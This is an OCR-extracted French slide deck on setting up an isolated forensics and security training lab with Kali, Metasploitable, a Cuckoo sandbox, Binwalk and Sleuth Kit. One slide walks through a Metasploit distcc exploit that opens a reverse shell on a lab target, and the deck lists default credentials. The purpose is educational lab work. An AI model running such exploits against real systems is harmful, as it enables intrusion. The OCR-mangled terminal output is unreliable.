Architecture d’un
Laboratoire de
Criminalistique
Numeérique

De la theorie a 'analyse pratique :
Construire un environnement
d’investigation isolé et sécurisé.

« J'al deteste chaque minute de

L 'entrainement, mais je me suis dit :
‘N'abandonne pas. Souffre maintenant et vis
le reste de ta vie en champion.’ »

— Muhammad Ali




L'Ecosystéme du Spécialiste

La théorie ne suffit pas. L'expérience pratique acquise grace a des
études rigoureuses en laboratoire est la seule voie vers 1a maltrise.
Voici votre plan de construction.

Sandbox Cuckeo
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dﬂ'r"":'g
Zone 2 : La Station de 1'Analyste e
Kali Linux & Outils de r:untny <
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Zone 1 : Les Fondations
Virtualisation & Matériel Hote

Zone 4 : La Zone de Quarantaine

Zone 3 : Le Champ de Tir

Cibles & Metasploitable
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/one 1 : Les Fondations de la Virtualisation

Partage des ressources physiques pour exécuter plusieurs  E————
environnements sans surcolt matériel. L’ importance de 1’isolation

Les systemes invités peuvent partager
le réseau (NAT, Pont) ou étre isolés.
Pour la criminalistique, confiner les
communications est critigue pour eviter
la contamination de 1'hdte.

| This network adapter is configured to use:

Internet Sharing

Share with my Mac

| Bridged Networking

Autodetect
Wi-Fi 2
) LUSB Ethernet
® Thunderbolt Ethernet

2 MNovatel Wireless 4G

) iPhone
| @ USB 10/100 LAN
Display Ethernet
B USB 10/100 LAN 2

Matériel Physique =
(RAM, CPU, Disque)
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Choilsir son Hyperviseur

=
s

VMware Fusion

- Statut : Commercial (Filiale Dell).

- Plateforme : Ideal pour macOS
(Workstation pour Windows/Linux).

- Exigence : Version Professionnelle
requise pour modifier les réseaux

virtuels.

VirtualBox

- Statut : Gratuit et Open Source
(Oracle).

- Plateforme : Multi-plateforme
(mac0S, Windows, Linux).

- Avantage : Communautée massive,
documentation riche, parfait si le

budget est limiteé.




Zone 2 : Déploiement de la Station d’Analyste (Kali

Prérequis Systeme

= [ N
Minimum ;}sf“wg{: Recommandé
£ 20 Go Disque L L ”"'j 1) £} 80-100 Go Disque
{ C=) 1 Go RAM '-;:'ff C=) 4-8 Go RAM
C =

Le Flux de Téléchargement

Etape 1 : Source

Site officiel (kali.org)

1)
RSN

)

Etape 2 : Format

Torrent recommandé (ex:
client Transmission)
pour contourner Les
instabilités réseau. :Ei

PROJET: BLUEPRENT FORENSICS

DATE: 28324

VERSIOH: 1.0
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La Regle d'Or : Vérifier 1'Integrité

-

SEss [Algorithme
[Fichier ISO0] # SHA-DEE

=

[Empreinte
64 caracteres]

Ne jamais ignorer le hachage SHA-256.
Comparez les 5 derniers caracteres avec

le site officiel.

shasum -a 256 [fichier]

—————

Danger : Sources compromises

Méme des sources fiables peuvent étre com-
promises. Les auteurs ont vu leurs propres
ouvrages PDF injectés de malwares sur des
sources non auvtorisées.

PAOIET: BLUEPRINT FORENSICS | paTe: 2024

VERSION: 1.8
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Matrice des Modes de Déeploiement

=

N’

Installation Complete

LiveCD

Clé USB (Mode Forensique Live)

(LVM).

L

Chiffrement intégral recommandé

Attention : Changez le mot de passe
par défaut ("toor") pour éviter d'étre
compromis par vos propres outils.

Démarrage sur image vierge.

propre a chaque réinitialisation.

Assure un environnement de test

Le Saint Graal de l'investigateur.
Ne modifie pas le disque hote.
Préserve I'état de la machine (preuves).

Création lente mais ultra-fiable via la
commande "dd".
(Astuce : Ctrl+T pour voir la progression).

=

‘ KALI \

the quieter you become, the mare you are able to hear

Live (amd64d)
Live (amd&4)
Live (amd64 failsafe)

Live (forensic mode)
Live USB Persistence (check kali.org/prst)
Live USB Encrypted Persistence (check kali.org/prst)
Install
Graphical install
Install with speech synthesis
Advanced options
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Zone 3 : Le Champ de Tir
(Systemes Vulnerables)

I —

Concept : Utiliser des systemes
! volontairement faillibles (Metasploitable,
- DVWA, Samurai WTF) pour tester les attaques
l et comprendre les traces laisseées.

= =

Avertissement Critique : Isolement réseau
absolu requis. Une machine vulnérable
exposée a Internet devient un point
d’entrée réel pour attaquer votre

reseau.

Acces Metasploitable : ‘user:user’ ou “msfadmin:msfadmin’

Internet

Kali VM

Switch Virtuel

(192.168.99.0/24)

PAOSET: BLUEPRINT FORENSICS

= Ll e b

[ YEXS10N: 1.8

I : 1




Anatomie d’'une Exploitation (Exemple : distcc

1. Configuration
Recherche (search distcc) et sélection de I'arme.

use exploit/unix/misc/distcc_exec
set RHOST 192.168.99.161

2. Lancement
Execution de la charge utile.

exploit

3. Compromission
Ouverture d'une session shell sur la victime. Verification de |'acces.

ifconfig

|msf
ms f

ms

L]

| ¥
L4

Il“i
[*]
i

rootEkall: =

> pse oEploit/unix/wisc/distce swec
expleitldiztor_arec) > set RAOST 192.168.99.161

RHOST =- 192.168.59.161

expleit{distec exec) > exploit

Started reverse TCP double handler on 192.168.99.129:4444
Accepted the first client cennection. ..

Accepted the second cliant conmection...

Coanand: echo S5aTRoKIOTur22sHK,

Writing to socket A

Writing to socket B

Reading frew sockets...

Reading from socket B

Reading frewm socket B

B: “BoTRoBLUTur22SHK\r\n"

Matshing. ..

A 15 laput. ..

Comeand shell session 1 opened (192.168.99.129:4444 -> 192.168.99.161:56
2017-65-18 17:50:16 -B408

kali:—> ifconfig

£505; Ttage==SMAASASREEACTTOT, RUNNING , BROADCAST> mtu 1560

La:

inet 192.18.8.3.1 netwect 192.168.39,.234: wec-orercpost 182,168,255
inetd 192:8cTif:5217:57: 27 nrasion 3acl362k: 100 scass 1811110
inatB T12T6H:385:30659:66a80: B8 Brd4T706=-3608e:68 scopid underlinks
other bzoo337BB08B0TeT prononssion 1888 (Ethernet)

R¥ packets 1221 bytes 1258386 (33.2 KLB)

BA errors O dropped @ owverruns 0 fraoe @

TX peckets 1235 bytes 16855265 (32.3 KL8)

TX errors 0 dropped 8 overruns 0 carrier 8 collisions 8

flage=<DNIP=EVOBRECAST ,RUNNING> mtu 1588
inet 172.8.8.31 netwest 18.8.8.8.0
inet8 :11 prefiller 1238 oropsid Ozechests
loop ibéeabesebee 1BBE (Local Lonomet)
KRR packets @ bytes © 8 B}
RY errors @ dropped © averruns @ frame @
TR packets @ bytes 0 8 B)
TX errors 0 dropped 0 overruns 8@ carrier 8 collisions 8

== )
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Zone 4 : La Zone de Quarantaine (Sandbox)

Registre

Réseau
A

Fichiers

V(.

i

1/4jf

> /
o
-
-
&

Concept : L'Analyse Dynamique. Certains malwares cachent leur
nature et ne se révelent que lorsqu’'ils sont exécutés.

Solution : Un "Sandbox" permet d'exécuter la menace dans un
environnement confiné et sous haute surveillance.

fi= 1

Alternative Cloud

L'installation locale étant complexe, des
solutions comme Malwr offrent une alternative
open source rapide.

275582

1=

PROJET : BLUEPRINT FORENSICS
DATE: 2824 VERSION: 1.8

|
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Architecture du Systeme Cuckoo

Cuckoo est puissant mais chronophage a déployer. |
Voici l'arbre des dependances requises pour Couche 6 * Interface Web Cuckoo | |
|

construire le bac a sable local.

Couche 5 : Moteur de Virtualisation
VirtualBox avec utilisateur dédié 'cuckoo'

Couche 4 : Capture réseau
TCPdump avec AppArmor deésactivé

Couche 3 : Bases de données
MongoDB (Web UI), PostgreSQL (Logs)

Couche 2 : Python & Bibliotheques

virtualenv, setuptools, libffi, libssl =

Couche 1 : Hote Ubuntu 0S

PROJET: BLUEPRINT FORENSICS
DATE: 2024 | VERSION: 1.0

e
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Zone 5 : Outils d'Analyse Approfondie

Binwalk (Le Rayon X)

Analyse de firmwares (fichiers ".bin de
routeurs/loT). Détecte les codes embarques caches
(ex: systemes de fichiers squash, images
compressees gzip).

binwalk -B fichier

10100101
101000171
100090007

V|

010100101 0 [ pecnar  mex
10071070101

1107110070 B & L TRY firmware hsader, 1lttle endian, header size; 28
11001071011 bytes, image size: 2045824 bytes, CRC32: 8a4927POCI flags: 6a0, version: 1
10700907 D0 | se, image size: 2946824 bytes, CBCSS: BvdB27DCY flags: 828, varslon: 1
10000010 28 @x1C gzip compressed data, from Unie, NULL date: Sat Sept
CTO0CO00TITE0T) 2 19:00:00 1969, max cempression

1007070001

DESCRIPTION

1010707101701
10710370101
010100101

The Sleuth Kit (Le scalpel)

Suite en ligne de commande pour I'analyse de

disques.

o YEw X

PROJET: BLUEPRINT FORENSICS

DATE: 20824

VERSION: 1.8
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Votre Ecosystéme est Opérationnel

Fondations

Station de 1 'Analyste

I S A | |
|| Champ de Tir J L Quarantaine
' !

Fondations solides Station Champs de tir
via 1'isolation d investigation sécuriseés.
réseau. intégreée.

« Seules l'expérience et la pratique permettent de perfectionner ses
compétences. Le laboratoire est votre terrain d’entrainement. »

Environnements de
quarantailne.

DATE: 2824

PROJET: BLUEPRINT FORENSICS

VERSION: 1.8
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